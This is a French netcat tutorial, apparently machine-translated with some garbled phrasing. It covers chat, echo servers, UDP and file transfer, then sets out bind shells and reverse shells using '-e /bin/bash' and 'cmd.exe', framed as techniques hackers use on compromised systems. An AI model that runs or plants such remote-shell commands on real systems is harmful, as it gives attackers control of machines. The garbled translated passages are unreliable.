Netcat

Netcat est une application de terminal qui est similaire au programme telnet mais a beaucoup plus de fonctionnalités.

C’est une « version électrique » du programme telnet traditionnel.

En dehors des fonctions de base de telnet, il peut faire diverses autres choses comme la création de serveurs de socket pour écouter les connexions entrantes sur les ports, transférer des fichiers depuis le terminal, etc.

C’est donc un petit outil qui regorge de nombreuses fonctionnalités., C’est pourquoi il est appelé le « couteau suisse pour TCP/IP ».

le manuel netcat définit netcat comme

Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.

donc, fondamentalement, netcat est un outil pour faire une communication réseau bidirectionnelle sur les protocoles TCP / UDP.

plus techniquement parlant, netcat peut agir comme un serveur de socket ou un client et interagir avec d’autres programmes en même temps en envoyant et en recevant des données via le réseau.

Une telle définition semble trop générique et rend difficile la compréhension de ce que fait exactement cet outil et à quoi il est utile., Cela ne peut être compris qu’en l’utilisant et en jouant avec.

Ncat

Donc la première chose à faire serait de configuration netcat sur votre machine. Netcat est disponible en différentes saveurs. Signifie qu’il est disponible auprès de plusieurs fournisseurs.

Mais la plupart d’entre eux ont des fonctionnalités similaires. Sur Ubuntu, il existe 3 paquets appelés netcat-openbsd, netcat-traditional et ncat.

Ma version préférée est ncat. Ncat a été développé par l’équipe nmap est le meilleur de tous les netcats disponibles et surtout sa plate-forme multi et fonctionne très bien sur windows.,

site Web du projet:

installer Ncat sous Windows

la version Windows de netcat peut être téléchargée à partir de

il suffit de télécharger et d’extraire les fichiers quelque part approprié.

Ou télécharger ncat version de windows

Installer Ncat sur Ubuntu / Linux Mint / Linux

Ubuntu syntaptic paquet a netcat-openbsd et netcat-traditional paquets disponibles. Installer les deux d’entre eux. Nmap est également livré avec une implémentation netcat appelée ncat. Installez ça aussi.,

Installer sur Ubuntu

$ sudo apt-get install netcat-traditional netcat-openbsd nmap

pour utiliser l’implémentation netcat-openbsd, utilisez la commande « nc ».
Pour utiliser netcat-implémentation traditionnelle utiliser « nc.commande traditionnelle  »
Pour utiliser nmap ncat utilisez la commande « ncat ».

exemples de commandes Netcat

dans le tutoriel suivant, nous allons tous les utiliser dans différents exemples de différentes manières.

Telnet

La première chose que netcat peut être utilisé comme un programme telnet. Permet de voir comment.

$ nc -v google.com 80

maintenant netcat est connecté à google.com sur le port 80 et il est temps d’envoyer un message., Permet d’essayer de chercher la page d’index. Pour ce type  » GET index.html HTTP/1.1″ et appuyez deux fois sur la touche Entrée. Rappelez-vous deux fois.

la sortie de google.com a été reçu et fait écho sur le terminal.

serveur socket simple

pour ouvrir un serveur socket simple, tapez la commande suivante.

$ nc -l -v 1234

la commande ci-dessus signifie : Netcat écoute le port TCP 1234. L’option-v donne une sortie verbeuse pour une meilleure compréhension., Maintenant, à partir d’un autre terminal, essayez de vous connecter au port 1234 en utilisant la commande telnet comme suit :

$ telnet localhost 1234Trying 127.0.0.1...Connected to localhost.Escape character is '^]'.abcting tong

Après la connexion, nous envoyons un message de test comme abc eting tong au serveur de socket netcat. Le serveur de socket netcat fera écho aux données reçues du client telnet.

$ nc -l -v 5555Connection from 127.0.0.1 port 5555 acceptedabcting tong

Il s’agit d’un système de chat complet. Tapez quelque chose dans le terminal netcat et il apparaîtra également dans le terminal telnet. Cette technique peut donc être utilisée pour discuter entre 2 machines.,

Complet Serveur ECHO

Ncat avec l’option-c peut être utilisé pour démarrer un serveur echo. Source

démarrez le serveur echo en utilisant ncat comme suit

$ ncat -v -l -p 5555 -c 'while true; do read i && echo $i; done'

maintenant, à partir d’un autre terminal, connectez-vous en utilisant telnet et tapez quelque chose. Il sera envoyé de retour avec «  » préfixe.
la version netcat-openbsd n’a pas l’option-c. N’oubliez pas de toujours utiliser l’option-v pour une sortie détaillée.

Remarque: on peut dire à Netcat d’enregistrer les données dans un fichier au lieu de les faire écho au terminal.,

$ nc -l -v 1234 > data.txt

Créer un Serveur UDP

Netcat fonctionne avec les ports udp ainsi. Pour démarrer un serveur netcat en utilisant des ports udp, utilisez l’option-u

$ nc -v -ul 7000

Client UDP

connectez-vous à ce serveur en utilisant netcat à partir d’un autre terminal

$ nc localhost -u 7000

maintenant, les deux terminaux peuvent discuter entre eux.

transfert de fichiers

un fichier entier peut être transféré avec netcat. Voici un exemple rapide.

Une machine-A – Envoyer le Fichier

$ cat happy.txt | ncat -v -l -p 5555Ncat: Version 5.21 ( http://nmap.org/ncat )Ncat: Listening on 0.0.0.0:5555

Dans la commande ci-dessus, la commande cat lectures et sorties le contenu des heureux.txt., La sortie n’est pas répercutée sur le terminal, mais est acheminée ou envoyée à ncat qui a ouvert un serveur socket sur le port 5555.

sur la machine B – Receive File

$ ncat localhost 5555 > happy_copy.txt

dans la commande ci-dessus, ncat se connectera à localhost sur le port 5555 et tout ce qu’il recevra sera écrit dans happy_copy.txt

maintenant happy_copy.txt sera une copie des heureux.txt puisque les données sont envoyées sur le port 5555 est le contenu de happy.txt dans la commande précédente.

Netcat enverra le fichier uniquement au premier client qui s’y connecte. Après que son plus.,
et après que le premier client ferme la connexion, le serveur netcat fermera également la connexion.

le balayage de Port

Netcat peut également être utilisé pour le balayage de port. Cependant, ce n’est pas une utilisation correcte de netcat et un outil plus applicable comme nmap devrait être utilisé.

le paramètre « -n » empêche ici la recherche DNS, « -z » fait que nc ne reçoit aucune donnée du serveur et « -w 1 » fait le délai de connexion après 1 seconde d’inactivité.

Remote Shell/Backdoor

Ncat peut être utilisé pour démarrer un shell de base sur un système distant sur un port sans avoir besoin de ssh., Voici un exemple rapide.

$ ncat -v -l -p 7777 -e /bin/bash

ce qui précède démarrera un serveur sur le port 7777 et transmettra toutes les entrées entrantes à la commande bash et les résultats seront renvoyés. La commande convertit essentiellement le programme bash en serveur. Netcat peut donc être utilisé pour convertir n’importe quel processus en serveur.

connectez-vous à ce shell bash en utilisant nc à partir d’un autre terminal

$ nc localhost 7777

essayez maintenant d’exécuter n’importe quelle commande comme help , ls , pwd etc.

Windows

sur windows, Le cmd.,exe (programme d’invite dos) est utilisé pour démarrer un shell similaire en utilisant netcat. La syntaxe de la commande est la même.

C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exelistening on 8888 ...connect to from (UNKNOWN) 1182

maintenant, une autre console peut se connecter en utilisant la commande telnet

bien que netcat puisse être utilisé pour configurer des shells distants, il n’est pas utile d’obtenir un shell interactif sur un système distant car dans la plupart des cas, netcat ne serait pas installé sur un système distant.

la méthode la plus efficace pour obtenir un shell sur une machine distante utilisant netcat est de créer des shells inverses.,

Inverser les Coques

C’est la fonction la plus puissante de netcat pour laquelle il est le plus utilisé par les pirates. Netcat est utilisé dans presque toutes les techniques de shell inverse pour attraper la connexion inverse du programme shell à partir d’un système piraté.

Reverse telnet

prenons D’abord un exemple de connexion Telnet inverse simple. Dans la connexion Telnet ordonnée, le client se connecte au serveur pour démarrer un canal de communication.

Your system runs (# telnet server port_number) =============> Server

Maintenant, en utilisant la technique ci-dessus vous pouvez vous connecter à dire le port 80 du serveur pour récupérer une page web., Cependant, un pirate est intéressé à obtenir un shell de commande. Sa l’invite de commande de windows ou le terminal de linux. Le shell de commande donne le contrôle ultime du système distant. Maintenant, il n’y a pas de service en cours d’exécution sur le serveur distant auquel vous pouvez vous connecter et obtenir un shell de commande.

donc, quand un pirate pirate dans un système, il doit obtenir un shell de commande. Comme ce n’est pas possible directement, la solution consiste à utiliser un shell inverse. Dans un shell inverse, le serveur initie une connexion à la machine du pirate et donne un shell de commande.,

Step 1 : Hacker machine (waiting for incoming connection)Step 2 : Server ==============> Hacker machine

pour attendre les connexions entrantes, un écouteur de socket local doit être ouvert. Netcat / ncat peut le faire.
Tout d’abord, un serveur netcat doit être démarré sur la machine locale ou la machine du pirate.

machine A

$ ncat -v -l -p 8888Ncat: Version 6.00 ( http://nmap.org/ncat )Ncat: Listening on :::8888Ncat: Listening on 0.0.0.0:8888

ce qui précède démarrera un serveur de socket (écouteur) sur le port 8888 sur la machine locale / la machine du pirate.

Maintenant, inverser la coquille doit être lancé sur la machine cible/piraté machine. Il existe un certain nombre de façons de lancer des obus inverses.,

pour qu’une méthode fonctionne, le pirate doit soit être capable d’exécuter une commande arbitraire sur le système, soit être capable de télécharger un fichier qui peut être exécuté en ouvrant à partir du navigateur (comme un script php).

dans cet exemple, nous ne faisons aucune des choses mentionnées ci-dessus. Nous allons simplement exécuter netcat sur le serveur également pour lancer un shell de commande inverse pour démontrer le concept. Netcat doit donc être installé sur le serveur ou la machine cible.,

Machine B:

$ ncat localhost 8888 -e /bin/bash

Cette commande se connectera à la machine a sur le port 8888 et alimentera la sortie de bash donnant efficacement un shell à la machine A. maintenant, la machine A peut exécuter n’importe quelle commande sur la machine B.

Machine A

dans un véritable scénario de Par conséquent, d’autres techniques sont utilisées pour créer un shell. Ceux-ci incluent le téléchargement de scripts php reverse shell et leur exécution en les ouvrant dans le navigateur. Ou lancer un exploit de débordement de tampon pour exécuter la charge utile du shell inverse.,

Conclusion

donc, dans les exemples ci-dessus, nous avons vu comment utiliser netcat pour différentes activités réseau comme telnet, les shells inverses, etc. Les pirates informatiques l’utilisent principalement pour créer des coquilles inversées rapides.

dans ce tutoriel, nous avons couvert certaines des utilisations de base et courantes de netcat. Consultez l’article wikipedia pour plus d’informations sur ce que netcat peut faire d’autre.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *